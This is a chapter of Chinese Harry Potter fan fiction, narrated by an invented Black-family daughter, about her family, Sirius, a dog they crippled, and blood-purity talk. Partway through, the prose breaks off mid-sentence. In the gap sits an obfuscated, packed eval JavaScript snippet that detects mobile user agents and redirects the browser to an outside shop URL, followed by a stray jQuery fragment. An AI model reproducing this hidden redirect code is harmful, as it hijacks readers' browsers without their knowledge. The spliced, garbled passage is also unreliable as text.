旁白的话听得我当即想要大喊“油炸大老爷”，但是一想到西里斯不在，也没人听懂我的话了，就感到格外寂寞。


    我的弟弟雷古勒斯虽然好玩，但是他不敢和我对着干，相处起来总是少了几分乐趣。


    好在假期很快结束，我们在冬天抓住一条蛇。雷古勒斯想把它放进蛇窝，但是我跟旁白坚持吊死这个家伙。我拧着蛇脱臼的脖子，它的鳞片软塌塌地贴在我的手心，我问雷古勒斯：你觉得它为什么不会冬眠？


    雷古勒斯被吓了一跳，哆哆嗦嗦地回答：“是魔法生物吗？”


    “不，这只是一条毒蛇。雷古勒斯，它是一条效忠于蛇佬腔的蛇。”我把蛇扔进雪堆里，警告他不准把这件事告诉任何人。


    -小汤姆开始怀疑我们了。


    旁白说，


    -让我们和他玩一场捉迷藏游戏吧。


    在假期的最后一天，贝拉骂骂咧咧地回来。一到家里就满身寒气地抱着我。她的头发上还有没来得及融化的雪花，落在我脸上冰得难受。


    她说，劳德——我觉得这个名字很没品——里德尔准备去一趟美国，叫了好多人一起，像是准备跟什么人单挑。很不幸，贝拉被挑中了，她和罗道夫斯都不能送我去站台上学。


    罗道夫斯在一旁也长吁短叹表现出遗憾。但是我觉得他很高兴能够离开我和贝拉一起出去旅游。


    纳西莎也说卢修斯要邀请她去美国旅行。


    我觉得无聊极了，就跑到沃尔布加身边，小声对她说，我以后也要去美国。


    沃尔布加吓了一跳。这么多年，她养大了我，脾气却越发古怪。她问我：派瑞特，小宝宝，你告诉我，是谁教你这么说的？


    “我不是小宝宝了，妈妈。”我说，“以后我会变成一个大巫师，我要去美国变成邓布利多那样的强大的巫师。”


    “是邓布利多那个糟老头子这样告诉你的吗？”


    “不，是我自己想的。”


    她说，如果我要离开这里，不如就此杀掉我，这样还能让她少伤一点心。


    我叹着气，跟奥赖恩一个样。我想说：妈妈，我完全可以等你死了，等所有人都死了。但是想了想，还是没有说出口。


    沃尔布加死掉之后还有贝拉、纳西莎，未来还会有她们的小孩。血脉真是一种讨厌的东西，像一条绳子，把人捆绑起来。


    *人性值降低*


    我望着家里的橱柜，我记得那个东西，它在我家放了好多年了，小时候我还啃过。上面镶嵌着大理石，把手是金属地，做成蛇的图案。


    如果我不是你的小孩就好了。我突然想，如果我没有被沃尔布加生下来，而是出生在另一个子嗣稀少的巫师家庭，是不是就不用想那些复杂的关系了？


    我需要父母，但是不需要父母活得那么长，也不用那么多会让我伤心的兄弟姐妹。太多还是太少都可以，但是不要三个姐姐和两个弟弟。这个家族繁荣到恰到好处，就像细密的笼子。


    我叹气好久，在沃尔布加的脸上亲了一下。


    “明天我就要去上学了，再见。”


    沃尔布加却难过地抱住我，她问：“有什么不能和我说吗？”


    “我也不知道，妈妈。我们在一起好像没有以前那么开心了。”我说，“我总会离开这里，对不对？他们都和我说过了，我会像贝拉那样嫁出去，住到别人家，有自己的小孩，然后在另一个房子里过完一生。”


    “你不会离开这里。”


    “不，我会。”我站起来——俯视坐在沙发上的她，语气冷硬，“你应该认清这一点，沃尔布加。”


    她的身体开始颤动，眼球直直地盯着我的腿——我站在另一个座椅边上——座椅的脚是金属的，是某种兽类扁平的蹄，有利爪。


    “他们是谁？”她突然问。


    我的笑声在喉咙里打转，对她说：“谁都可以。”


    谁都可以——妈妈，谁都可以把我从你身边带走。


    --


    雷古勒斯最近有了点心事，但是他不和我说。自从西里斯确定不会再回家之后，他就一直都是这个状态。我只是他的姐姐，不是世界上另一个‘旁白’，没必要时时刻刻盯着他。


    我往禁林的方向走，老狗‘马尔贝’——我听见那个美国小伙的名字是这个，感觉它很适合这条狗——它正蹲在看守的屋前，看见我之后欢快地朝我跑过来。只是舌头还是塞不进嘴里，蠢得要死。


    好在这个老家伙还是懂点事，没有叫出声。


    前几天，西里斯他们心情不好，就把马尔贝哄到高处，催促它跳下来。它摔断了骨头——或者撕裂了肌肉——哎呀，谁知道呢？反正瘸了一条腿。三条腿的马尔贝很可笑，它乱叫着，歪歪斜斜地跑回来。跑几步就歪倒在一边，接着又站起来蹬腿。


    西里斯害怕了，就用旧毛衣裹着它跑过来找我。


    我对他说：“你不是不和我说话了吗？”


    “求求你救它吧，派瑞特，就当发发善心。”


    我轻轻笑了一声，在老狗的哀嚎里把它的关节拧过来。詹姆·波特在一边说，他们真应该去找莉莉，好歹这个老东西不用遭这么大的罪。


    “那你们怎么不去找她呢，波特？”


    西里斯咳嗽一声，解释他们又惹伊万斯生气了。我觉得这是一种相当正常的状态。接着，他又问我，怎么不跟伊万斯和‘鼻涕精’一起玩了。


    “因为他们一个是麻种，一个是混血。”我说。


    “你怎么真信那个了呀！”西里斯吓了一跳。


    “除此之外还能是什么原因呢？我在乎这件事，他们也在乎。因为我在鄙视链的上层，他们在底层，所以自然就做不好朋友了。西里斯，你跟狼人能当好朋友吗？”我问他。


    “你在开玩笑吗，我会被传染的！”他想也不想就说。


    我注意到，他们身后站着的那个卢平的脸色有一瞬间苍白。他发现我在看他，弓着身子想躲到波特后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505821|148310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面。


    我露出笑容：“希望你以后也能这么想。”


    “你怎么变成现在这样啦，派瑞特？”西里斯难过地问我。


    “因为我也有讨厌其他人的权利。”我说，“你们做了一件残忍的事情，让我心里不舒服，所以我在讽刺你。”


    “好吧，那我对你道歉。”他低声下气地说。但是他真的是这样想的吗？不，他只是本能地想找一个能给他兜底的人，而在布莱克家，唯一能帮他说话的只有我了。


    “不，西里斯。听我说，西里斯。”我拍拍手，痊愈的老狗跳下桌子，它咬我的皮鞋，又抓我的袍子。我踢了它一脚，它呜呜地叫唤，缩在我两条腿中间，“你在害怕，我知道，恐惧是会传染的，你听说了什么对不对？”


    “妈妈要把你赶出去了。”


    “不，我不害怕。”他僵硬着脸，“我巴不得离开那里。”


    “那我们就没什么好说的了，铁石心肠的男孩。”


    “你会和他们一样吗？”他小声问我，“加入那些人？”


    “相比起那些人，我更担心你，西里斯，西里斯，西里斯，你告诉我，你准备好像安多米达那样被其他人搅场子了吗？”


    “你果然知道！”他的表情立刻转向愤怒，“你什么都知道，你知道他们怎么对待安多米达。”


    “是的，我知道，然后呢？西里斯，每个人都会有自己的选择，人很聪明，也很敏感。他们总要为自己做过的事情付出代价。你为你的离开准备好代价了吗？”


    “这是妈妈让你问我的？”


    “不，我以为你应该明白。”


    他朝我骂了一声，我没太听清楚，只是用手撑着脸目送这一伙人离开。


    --


    小巴蒂·克劳奇最近跟马尔贝交了朋友，卡罗兄妹说，他那是找到自己的同类了。


    他好像确实很喜欢马尔贝，放任它往他身上跳，让它咬他的皮鞋，也会用手去摸那个长着跳蚤的狗头。


    他会朝我露出腼腆的笑，接着，又冲卡罗兄妹龇牙。


    阿莱克托·卡罗是多么讨厌那个坏东西，她是所有我见过的女孩里最勇敢的。当所有女孩子突然到了一个时间，聚在一起小声说着男孩们的坏话，或者像鸽子一样被男孩赶来赶去的时候，她总是大着嗓门骂他们，喊这些家伙的坏绰号。


    有时候会在被逼急了的时候大喊阿米库斯的名字，强迫他必须从男孩堆里跑出来站在她边上。本来阿米库斯只是憋着坏，现在也变成一模一样的明目张胆地坏了。


    只是最近卡罗兄妹不太爱搭理他，他们说，这是一种出于“纯血之间的人道主义关怀”。


    据说，他的父亲老巴蒂·克劳奇最近脑子不太清楚，一直嚷嚷着要找到某个疯子开的酒吧，叫做什么‘苍蝇’。


    好在精神气还算不错。


    “要我说，他们说不定去黑巫师的尸/体里睡了一觉。”阿莱克托说，“不然怎么一直在找苍蝇呢？”